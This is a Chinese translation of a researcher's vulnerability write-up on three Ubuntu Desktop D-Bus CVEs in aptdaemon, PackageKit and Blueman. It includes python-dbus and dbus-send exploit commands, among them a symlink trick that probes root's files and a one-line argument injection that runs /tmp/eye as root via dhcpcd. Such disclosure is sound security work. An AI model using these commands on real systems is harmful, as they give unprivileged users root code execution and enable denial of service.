Ubuntu桌面版使用D-Bus作为进程间通信(IPC)媒介。在Ubuntu系统中,总共有2类并发运行的消息总线:一类是系统(system)总线,主要由权限服务使用,用来对整个系统范围提供相关服务;另一类是每个登录用户的会话(session)总线,只对外提供与该特定用户相关的服务。由于我们的目标是提升权限,因此我们主要关注系统总线,因为相关服务会以较高权限(比如root)运行。需要注意的是,在D-Bus架构中每个会话总线都会对应一个“路由器(router)”,该路由器会将客户端消息重定向到与之交互的相关服务,客户端需要指定消息发送的服务地址,最近我决定在我的Ubuntu Desktop D-Bus中寻找一些漏洞。
D-Bus(Desktop-Bus)是一种进程间通信(IPC)和远程进程调用(RPC)机制,它允许在同一台计算机上同时运行的多个进程之间进行通信。如今,它已在许多Linux发行版中使用。
在Linux桌面环境中,我们只有一个系统总线,用于在用户进程和系统进程之间进行通信,对于每个登录会话,我们都有一个会话总线,用于在单个桌面会话中进行进程之间的通信。
由于我的目标是系统总线,系统进程打开了一个从用户区进行通信的接口,这听起来很麻烦!
寻找漏洞进程
我的第一个目标是了解D-Bus的语法,有一个优秀的交互式工具叫D-Feet,使用它会使寻找进程轻松很多。D-Feet是一个易于使用D-bus调试器,D-Feet用来检查D-bus接口的运行程序和调用接口的方法。可以显示service提供的所有对象、信号和方法,还可以通过它实现方法调用。
D-Bus规范中有明确的层次结构,对象是在D-Bus上披露自身的进程。一个对象可以实现多个接口,并且每个接口可以具有多个方法。 D-Bus使用接口为方法提供命名空间机制,接口还具有属性,这些属性是类型化变量,通常可以读取,有时也可以更改。
D-Feet显示了实现的接口和可用的方法,在后台,它使用org.freedesktop.DBus.Introspectable接口的内省方法来完成这项工作,该接口由许多对象实现。
除了D-Feet以外,与D-Bus交互的最直接方法是通过dbus-send shell命令。例如,下一条命令在org.freedesktop.DBus接口上调用ListNames方法,并生成D-Feet在左侧显示的列表。
dbus-send --system --print-reply \ --dest=org.freedesktop.DBus \ /org/freedesktop/DBus \ org.freedesktop.DBus.ListNames
对我来说,处理D-Bus方法的多个交互式调用的最直观的方法是python-dbus模块,用D-Bus方法编写任何交互的脚本都很容易。
许多方法都使用PolicyKit进行保护,以确保调用用户具有执行操作的权利。你可能见过这些弹出窗口,它们是由PolicyKit保护的D-Bus方法调用的结果。
我最感兴趣的是任何人在不进行身份验证的情况下都可能触发的漏洞,因此我将重点放在没有使用PolicyKit保护的方法上。
Aptdaemon信息披露(CVE-2020-15703)
我发现的第一个漏洞涉及aptdaemon,在使用D-Feet内测org.apt.debian对象之后,你将在processlist中注意到一个正在运行的新进程。
/usr/bin/python3 /usr/sbin/aptd
因此,aptdaemon是用python编写的,我可以深入研究代码,但这个进程太复杂,我只想知道后台发生了什么系统调用,所以我在进程上生成了一个痕迹。
strace -s 65535 -f -p
我开始尝试使用一些方法并输入垃圾内容,其中一个特别有趣的方法是InstallFile方法。它需要两个参数,即要安装的软件包的文件路径和布尔值。如果调用该方法,aptdaemon将创建一个名为transaction的D-Bus对象,该对象将披露例如Simulate()和Run()等新方法。它还有几个可写的属性。我们可以通过某种方式模拟安装.deb软件包文件,编写了一个简单的python脚本进行实验。
import dbusbus = dbus.SystemBus() apt_dbus_object = bus.get_object("org.debian.apt", "/org/debian/apt") apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.debian.apt") # just use any valid .deb filetrans = apt_dbus_interface.InstallFile("/var/cache/apt/archives/dbus_1.12.16-2ubuntu2.1_amd64.deb", False) apt_trans_dbus_object = bus.get_object("org.debian.apt", trans) apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.debian.apt.transaction") apt_trans_dbus_interface.Simulate()
事实证明,这完全没用。实际安装.deb文件的Run()方法需要授权,但是,在进行测试时,我注意到locale属性,可以将其设置如下。
properties_manager = dbus.Interface(apt_trans_dbus_interface, 'org.freedesktop.DBus.Properties') properties_manager.Set("org.debian.apt.transaction", "Locale", "AAAA")
这会导致以下错误消息。
Traceback (most recent call last): File "/usr/lib/python3/dist-packages/defer/__init__.py", line 487, in _inline_callbacks result = gen.send(result) File "/usr/lib/python3/dist-packages/aptdaemon/core.py", line 1226, in _set_property self._set_locale(value) File "/usr/lib/python3/dist-packages/aptdaemon/core.py", line 826, in _set_locale (lang, encoding) = locale._parse_localename(str(locale_str)) File "/usr/lib/python3.8/locale.py", line 499, in _parse_localename raise ValueError('unknown locale: %s' % localename) ValueError: unknown locale: AAAA
在locale名称中_parse_localename方法主要用于检查是否存在"." ,以下调用成功。
properties_manager.Set("org.debian.apt.transaction", "Locale", "AA.BB")
我在以上留下的痕迹输出中发现了一些有趣的内容。
[pid 23275] stat("/usr/share/locale/AA/LC_MESSAGES/aptdaemon.mo", 0x7ffe616b0740) = -1 ENOENT (No such file or directory)
我将值更改为 "/tmp.BB":
[pid 23275] stat("/tmp/LC_MESSAGES/aptdaemon.mo", 0x7ffe616b0740) = -1 ENOENT (No such file or directory)
看起来我可以让它读取任何。mo locale文件。我花了几个小时颠倒.mo格式,现在可以告诉你生成它的.po格式的所有结构,但我无法让它做任何有趣的事情。
然后我意识到我可以建立一个名为/tmp/LC_MESSAGES/aptdaemon.mo的符号链接,并将其指向文件系统上的任何文件,例如"/root/.bashrc"。
ln -s /root/.bashrc /tmp/LC_MESSAGES/aptdaemon.mo
这导致了另一个漏洞。
OSError: [Errno 0] Bad magic number: '/tmp/LC_MESSAGES/aptdaemon.mo'
但是它透露了我不应该知道的信息,比如文件系统上是否存在任何文件,例如在/root中,没有权限的用户不应该查看这些文件,虽然危害很小,但也是一个漏洞。
PackageKit信息披露(CVE-2020-16121)
PackageKit是一款以方便Linux软件安装与升级为目的的系统,其设计初衷是在不同的Linux发布版中统一软件图形工具。我也在PackageKit中发现了一个类似的漏洞,经过aptdaemon后,这个程序会立即弹出。packagekit对象上的org.freedesktop.PackageKit接口有一个方法CreateTransaction()。这将创建一个Transaction对象,该对象具有InstallFiles()、GetFilesLocal()和GetDetailsLocal()方法,所有方法都将一个文件路径列表作为它们的参数。
同样,这使我们能够确定文件系统上是否存在任何文件,但是这一次,如果文件存在,我们还会得到一个披露MIME类型的错误消息。
用一个简单的python脚本就可以演示这一点。
import dbusbus = dbus.SystemBus() apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit") apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit") trans = apt_dbus_interface.CreateTransaction() apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans) apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction") apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])
这将导致错误消息:不支持MIME类型文本/纯文本。
Blueman本地权限升级或拒绝服务(CVE-2020-15238)
这个漏洞更有趣一些,这是我在使用org.blueman.Mechanism接口的D-Bus方法时发现的,从未有人要求我进行授权,我意识到这将是一个有趣的目标。
该软件包的开发者后来确认Debian软件包确实存在漏洞:它仅建议使用policykit-1,但blueman不支持“运行时可选” Polkit-1支持。你必须在构建期间决定,因为libpolkit-agent-1-dev不是构建依赖项,所以Polkit-1支持总是被禁用的。顺便说一句,开发人员立即推出了一个补丁,同时还协调了Ubuntu和Debian安全团队之间的发布日期。
DhcpClient()方法很快引起了我的注意。它需要一个字符串作为参数。让我们通过痕迹信息看看后台发送了哪些系统调用。我使用这个oneliner启动守护进程,并将一个痕迹进程附加到它上面,这样就不必太担心它的活动时间或PID很短。
dbus-send --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.freedesktop.DBus.Introspectable.Introspect && \ strace -f -s 65535 -e execve -p \ $(pgrep -f blueman-mechanism)
然后我开始了我的第一个测试。
dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"AAAA"
strace进程有很多输出,但是对“execve”的过滤提供了一个非常有趣的观察结果。
[pid 30096] execve("/usr/sbin/dhclient", ["/usr/sbin/dhclient", "-e", "IF_METRIC=100", "-1", "AAAA"], 0x7ffd6facb700 /* 4 vars */) = 0 [pid 30104] execve("/sbin/dhclient-script", ["/sbin/dhclient-script"], 0x55c8e9ae11e0 /* 6 vars */) = 0 [pid 30105] execve("/usr/bin/run-parts", ["run-parts", "--list", "/etc/dhcp/dhclient-enter-hooks.d"], 0x556ae347a3c8 /* 12 vars */) = 0 [pid 30106] execve("/usr/sbin/avahi-autoipd", ["/usr/sbin/avahi-autoipd", "-c", "AAAA"], 0x556ae347acf0 /* 12 vars */) = 0 [pid 30107] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "AAAA", "up"], 0x556ae3483178 /* 12 vars */) = 0 [pid 30110] execve("/usr/bin/run-parts", ["run-parts", "--list", "/etc/dhcp/dhclient-exit-hooks.d"], 0x556ae34824d8 /* 12 vars */) = 0
可以看到有很多执行是在后台进行的,似乎我的参数被用作dhclient, avahi-autopid和ip的参数。接下来我深入研究了dhclient手册,看看是否有任何我可以使用的有趣的参数。下面的内容应该引起你的注意:
-sf script-file Path to the network configuration script invoked by dhclient when it gets a lease. If unspecified, the default /sbin/dhclient-script is used. See dhclient-script(8) for a description of this file.
实际上,如果我以root身份运行命令“dhclient -sf /tmp/eye”,dhclient会在后台开始运行,请求一个新的DHCP lease,最后运行shell脚本“/tmp/eye”。让我们看看如果我们用我们的blueman机制方法来尝试会发生什么。
dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"-sf /tmp/eye"
结果失败了,让我们看看这是为什么,从痕迹输出结果中,我们注意到以下内容。
[pid 30541] execve("/usr/sbin/dhclient", ["/usr/sbin/dhclient", "-e", "IF_METRIC=100", "-1", "-sf /tmp/eye"], 0x7ffe012977c0 /* 4 vars */ ... [pid 30542] sendto(3, "Oct 26 10:40:46 dhclient[30542]: Unknown command: -sf /tmp/x", 64, MSG_NOSIGNAL, NULL, 0) = 64 ... [pid 30542] sendto(3, "Oct 26 10:40:46 dhclient[30542]: Usage: dhclient [-4|-6] [-SNTPRI1dvrxi] [-nw] [-p ] [-D LL|LLT]\n [--dad-wait-time ] [--prefix-len-hint ]\n [--decline-wait-time ]\n [--address-prefix-len ]\n [-s server-addr] [-cf config-file]\n [-df duid-file] [-lf lease-file]\n [-pf pid-file] [--no-pid] [-e VAR=val]\n
dhclient二进制文件具有解析参数的非常特定的方式,并且正如我们所看到的,“-sf / tmp / eye”参数被解析为不存在的单个标志。一些二进制文件将允许“-sf = / tmp / eye”或“-sf / tmp / eye”,但由于dhclient的处理,我在这里节省了一天的时间,否则这将是一个非常严重的错误。
现在让我们看看是否可以将其注入到ip命令的参数中。
dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"ens33 down"
可以看到dhclient命令运行不畅,但是执行继续进行。
[pid 30687] sendto(3, "Oct 26 10:46:05 dhclient[30687]: Error getting hardware address for \"ens33 down\": No such device", 100, MSG_NOSIGNAL, NULL, 0) = 100
这里我们看到了对ip命令的注入,这一次,我们的参数被分割成多个参数,因此我们可以对ip命令的参数进行更多的讨论。
[pid 30694] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "ens33", "down", "up"], 0x55d963cbd180 /* 12 vars */
这实际上是一个有效的语法,并且接口保持不变。现在,如何解决增加的漏洞?
dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"ens33 down alias"
[pid 30752] sendto(3, "Oct 26 10:51:50 dhclient[30752]: ens33 down alias: interface name too long (is 16)", 86, MSG_NOSIGNAL, NULL, 0strace: Process 30755 attached
此漏洞导致dhclient退出并带有不同的返回码,并且执行流程未到达ip命令。因此,此处限制为15个字符。但ip也接受shorthand版本,所以al是alias的别名。属性简写(shorthand)就是一次性声明一组相关的属性。好处呢当然是众所周知的,让css从臃肿无序升级为简洁有效具有高可读性。
dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"ens33 down al"
[pid 30888] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "ens33", "down", "al", "up"], 0x55c24f67f188 /* 12 vars */) = 0
这确实使接口失效,并为ens33创建了别名。这是一个DoS漏洞,因为任何低特权用户都可以触发此漏洞,让我们看看是否可以找到ip命令的其他有趣参数。
通过ip链接手册得到的结果如下。
xdp object | pinned | off set (or unset) a XDP ("eXpress Data Path") BPF program to run on every packet at driver level. ip link output will indicate a xdp flag for the networking device. If the driver does not have native XDP support, the kernel will fall back to a slower, driver-independent "generic" XDP variant. The ip link output will in that case indicate xdpgeneric instead of xdp only. If the driver does have native XDP support, but the program is loaded under xdpgeneric object | pinned then the kernel will use the generic XDP variant instead of the native one. xdpdrv has the op‐ posite effect of requestsing that the automatic fallback to the generic XDP variant be disabled and in case driver is not XDP-capable error should be returned. xdpdrv also disables hardware offloads. xdpoffload in ip link output indicates that the program has been offloaded to hardware and can also be used to request the "offload" mode, much like xdpgeneric it forces program to be installed specifically in HW/FW of the apater. object FILE - Attaches a XDP/BPF program to the given device. The FILE points to a BPF ELF file (f.e. generated by LLVM) that contains the BPF program code, map specifications, etc. If a XDP/BPF program is already attached to the given device, an error will be thrown. If no XDP/BPF program is currently attached, the device supports XDP and the program from the BPF ELF file passes the kernel verifier, then it will be attached to the device. If the option -force is passed to ip then any prior attached XDP/BPF program will be atomically overridden and no error will be thrown in this case. If no section option is passed, then the default section name ("prog") will be assumed, otherwise the provided section name will be used. If no verbose option is passed, then a verifier log will only be dumped on load error. See also EXAMPLES section for usage examples.
因此,我可以将XDP对象附加到任何接口。那将需要超过15个字符。如何降低它?让我们先重命名接口!
dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"ens33 down al"dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"ens33 name a"dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"a xdp o /tmp/o"
现在我们可以将XDP对象附加到任何接口,从而可以更深入地研究XDP和eBPF是如何工作的,以及是否存在与我现在可以将此类对象附加到任何接口有关的任何安全漏洞。
最后,我发现blueman还支持其他DHCP客户端。来自blueman代码如下:
COMMANDS = [ ["dhclient", "-e", "IF_METRIC=100", "-1"], ["dhcpcd", "-m", "100"], ["udhcpc", "-t", "20", "-x", "hostname", socket.gethostname(), "-n", "-i"] ]for command in self.COMMANDS: path = have(command[0]) if path: self._command = [path] + command[1:] + [self._interface]
因此,如果dhclient不可用,但是dhcpcd可用,则我们还有另一种可能性来执行代码。对于我们而言,幸运的是,dhcpcd也具有运行脚本的能力,并且在参数格式上没有那么挑剔。这给我们留下了一个本地权限升级oneliner,它可以在任何具有dhcpcd而不是dhclient的Ubuntu或Debian系统上运行。
dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"-c/tmp/eye"
任何没有权限的用户都可以运行此命令,并且在shellscript /tmp/eye中的任何代码都将以root身份运行!
本文翻译自:https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html如若转载,请注明原文地址: